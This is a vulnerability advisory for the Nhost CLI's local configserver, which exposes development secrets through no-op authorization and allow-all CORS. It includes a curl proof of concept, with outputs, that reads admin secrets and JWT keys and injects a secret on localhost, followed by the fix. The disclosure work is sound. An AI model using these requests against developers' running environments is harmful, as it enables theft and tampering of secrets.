Nhost CLI local configserver allows cross-origin unauthenticated read/write access to local development configuration and secrets

Summary

The hidden nhost configserver used by nhost dev exposes the Mimir GraphQL API with dummy authorization directives and permissive CORS. When a developer is running the local development environment, any process that can reach the developer's localhost service, including a web page loaded from an arbitrary origin, can query the configserver for local Nhost configuration and secrets and can mutate the local .secrets file.

This impacts developers using nhost dev: project admin secrets, JWT signing keys, webhook secrets, Grafana credentials, and custom environment variables can be read, and attacker-controlled secrets can be written to the local development project.

Details

The CLI registers a hidden configserver command in cli/main.go:39 and cli/main.go:41. That command is used as the local development configserver image in nhost dev: cli/cmd/dev/up.go:176 through cli/cmd/dev/up.go:200 select nhost/cli:<version> as the configserver image, and cli/dockercompose/configserver.go:80 through cli/dockercompose/configserver.go:84 run it with the configserver command. The generated development dashboard receives the configserver and logs GraphQL URLs in public client-side environment variables at cli/dockercompose/compose.go:347 through cli/dockercompose/compose.go:358.

The configserver intentionally loads the local project files into Mimir's GraphQL resolver in cli/cmd/configserver/configserver.go:143 through cli/cmd/configserver/configserver.go:156. However, the authorization directives passed to graph.SetupRouter are no-ops:

• cli/cmd/configserver/configserver.go:83 through cli/cmd/configserver/configserver.go:89 define dummyMiddleware, which calls the next resolver without checking app visibility.
• cli/cmd/configserver/configserver.go:91 through cli/cmd/configserver/configserver.go:98 define dummyMiddleware2, which calls the next resolver without checking roles.
• cli/cmd/configserver/configserver.go:161 through cli/cmd/configserver/configserver.go:170 pass those dummy directive handlers and cors.Default() to the GraphQL router.

The default rs/cors configuration allows all origins when no AllowedOrigins are specified: vendor/github.com/rs/cors/cors.go:163 through vendor/github.com/rs/cors/cors.go:167, and vendor/github.com/rs/cors/cors.go:248 through vendor/github.com/rs/cors/cors.go:249 show Default() uses Options{}. A browser preflight from an arbitrary origin receives Access-Control-Allow-Origin: *.

The exposed GraphQL schema includes sensitive queries and mutations:

• vendor/github.com/nhost/be/services/mimir/schema/schema.graphqls:41 through vendor/github.com/nhost/be/services/mimir/schema/schema.graphqls:57 expose configRawJSON, config, and appSecrets by app ID. appSecrets is protected only by @hasAppVisibility, which the configserver replaces with the no-op dummyMiddleware.
• vendor/github.com/nhost/be/services/mimir/schema/schema.graphqls:117 through vendor/github.com/nhost/be/services/mimir/schema/schema.graphqls:128 expose insertSecret, updateSecret, and deleteSecret, also protected only by the no-op @hasAppVisibility directive.
• vendor/github.com/nhost/be/services/mimir/graph/q_app_secrets.go:10 through vendor/github.com/nhost/be/services/mimir/graph/q_app_secrets.go:30 return the app's secrets.
• vendor/github.com/nhost/be/services/mimir/graph/q_config_raw_json.go:12 returns raw JSON for the app configuration, which includes sensitive fields such as Hasura admin secrets and JWT signing keys in local development config.
• vendor/github.com/nhost/be/services/mimir/graph/m_insert_secret.go:11 through vendor/github.com/nhost/be/services/mimir/graph/m_insert_secret.go:47 append attacker-supplied secrets and call plugin UpdateSecrets.
• cli/cmd/configserver/local.go:164 through cli/cmd/configserver/local.go:175 marshal the new secrets and write them to the configured local secrets file with os.WriteFile.

Because the local configserver uses a fixed zero UUID app ID for the local app (cli/cmd/configserver/local.go:134) and does not require cookies, tokens, or admin headers, a request only needs the known GraphQL endpoint and app ID.

Candidate score: 14/14.

• Reachability: 2 — reachable in the documented local development path using nhost dev and directly through the hidden configserver command.
• Attacker control: 2 — GraphQL query and mutation bodies are fully attacker-controlled.
• Privilege required: 2 — no authentication or local Nhost privileges are required beyond network/browser reachability to the developer's local configserver.
• Sink impact: 2 — sensitive secret read and local secrets file write.
• Mitigation weakness: 2 — role/app-visibility directives are replaced with no-op handlers, and CORS permits all origins.
• Default exposure: 2 — enabled by the common local development setup.
• Safe reproduction feasibility: 2 — confirmed locally with disposable fixture files.

PoC

The following proof uses only localhost and disposable temporary files. It does not contact external systems and does not read or modify real project secrets.

1. Start a configserver instance against temporary local files:

tmpdir=$(mktemp -d)
config="$tmpdir/nhost.toml"
secrets="$tmpdir/.secrets"

cat > "$config" <<'EOF'
[hasura]
adminSecret = 'local-test-admin-secret'
webhookSecret = 'local-test-webhook-secret'

[[hasura.jwtSecrets]]
type = 'HS256'
key = 'local-test-jwt-secret'

[observability]
[observability.grafana]
adminPassword = 'local-test-grafana-password'
EOF

cat > "$secrets" <<'EOF'
localProofSecret = 'LOCAL_PROOF_SECRET_VALUE'
EOF

port=18088
go run ./cli configserver \
  --bind "127.0.0.1:$port" \
  --storage-local-config-path "$config" \
  --storage-local-secrets-path "$secrets"

2. From another shell, show that a browser-style preflight from an arbitrary origin is accepted:

curl -sS -i -X OPTIONS \
  -H 'Origin: https://attacker.example' \
  -H 'Access-Control-Request-Method: POST' \
  -H 'Access-Control-Request-Headers: content-type' \
  "http://127.0.0.1:18088/v1/configserver/graphql"

Observed proof output in this environment:

HTTP/1.1 204 No Content
Access-Control-Allow-Headers: content-type
Access-Control-Allow-Methods: POST
Access-Control-Allow-Origin: *
Vary: Origin, Access-Control-Request-Method, Access-Control-Request-Headers

3. Read local development secrets without any authentication:

curl -sS -i \
  -H 'Origin: https://attacker.example' \
  -H 'Content-Type: application/json' \
  --data '{"query":"query { appSecrets(appID: \"00000000-0000-0000-0000-000000000000\") { name value } }"}' \
  "http://127.0.0.1:18088/v1/configserver/graphql"

Observed proof output in this environment:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
{"data":{"appSecrets":[{"name":"localProofSecret","value":"LOCAL_PROOF_SECRET_VALUE"}]}}

4. Read sensitive local configuration without any authentication:

curl -sS -i \
  -H 'Origin: https://attacker.example' \
  -H 'Content-Type: application/json' \
  --data '{"query":"query { configRawJSON(appID: \"00000000-0000-0000-0000-000000000000\", resolve: false) }"}' \
  "http://127.0.0.1:18088/v1/configserver/graphql"

Observed proof output in this environment:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
{"data":{"configRawJSON":"{\"hasura\":{\"adminSecret\":\"local-test-admin-secret\",\"jwtSecrets\":[{\"key\":\"local-test-jwt-secret\",\"type\":\"HS256\"}],\"webhookSecret\":\"local-test-webhook-secret\"},\"observability\":{\"grafana\":{\"adminPassword\":\"local-test-grafana-password\"}}}"}}

5. Mutate the local .secrets file without any authentication:

curl -sS -i \
  -H 'Origin: https://attacker.example' \
  -H 'Content-Type: application/json' \
  --data '{"query":"mutation { insertSecret(appID: \"00000000-0000-0000-0000-000000000000\", secret: { name: \"INJECTED_BY_UNAUTHENTICATED_REQUEST\", value: \"SAFE_LOCAL_MARKER\" }) { name value } }"}' \
  "http://127.0.0.1:18088/v1/configserver/graphql"

grep -E 'INJECTED_BY_UNAUTHENTICATED_REQUEST|SAFE_LOCAL_MARKER' "$secrets"

Observed proof output in this environment:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
{"data":{"insertSecret":{"name":"INJECTED_BY_UNAUTHENTICATED_REQUEST","value":"SAFE_LOCAL_MARKER"}}}
INJECTED_BY_UNAUTHENTICATED_REQUEST = 'SAFE_LOCAL_MARKER'

6. Cleanup:

# Stop the configserver process, then remove the disposable fixture directory.
rm -rf "$tmpdir"

Impact

An attacker who can cause a developer to visit a web page while nhost dev is running can use JavaScript from that page to send cross-origin GraphQL requests to the local Nhost configserver. The attacker can read local development secrets and configuration, including Hasura admin secrets, JWT signing keys, webhook secrets, Grafana credentials, and custom environment variables stored in .secrets. The attacker can also mutate the local .secrets file, which can alter subsequent local development behavior and potentially poison local configuration consumed by services.

This is not a hosted-production unauthenticated endpoint vulnerability; it affects the local developer environment. The realistic attacker model is a malicious web page, local unprivileged process, or same-network process that can reach the developer's local configserver route while the development stack is running.

Remediation

Addressed in nhost/nhost#4302 with three layered controls:

• CORS restricted to the dashboard origin. cors.Default() in cli/cmd/configserver/configserver.go is replaced by corsMiddleware(), which uses an AllowOriginFunc driven by dashboardOriginRe = ^https?://([^./]+\.dashboard\.local\.nhost\.run|local\.dashboard\.nhost\.run)(:\d+)?$. Arbitrary origins receive no Access-Control-Allow-* headers and are rejected by browsers. The allowlist is locked in by cli/cmd/configserver/configserver_test.go.
• Unguessable per-project app ID. The fixed zero UUID is replaced by a UUIDv4 generated on first nhost dev, persisted to .nhost/app_id (mode 0600) by cli/clienv/appid.go, and threaded via NHOST_APP_ID into the configserver container and NEXT_PUBLIC_NHOST_APP_ID into the dashboard. The configserver serve action validates the value with uuid.Parse at startup. Queries against any other app ID resolve to no app.
• In-memory secret redaction with reconciling writes. cli/cmd/configserver/local.go adds loadSecretsRedacted, which substitutes every secret value with <placeholder-from-local-configserver-substituted-for-real-secret> before secrets enter the graph store, so appSecrets and any other read path return placeholders. UpdateSecrets reconciles incoming mutations against the on-disk .secrets file — placeholder values preserve the on-disk value, only real new values are written — so a caller that has not seen the real secret cannot overwrite it with a known string. Coverage in cli/cmd/configserver/local_test.go.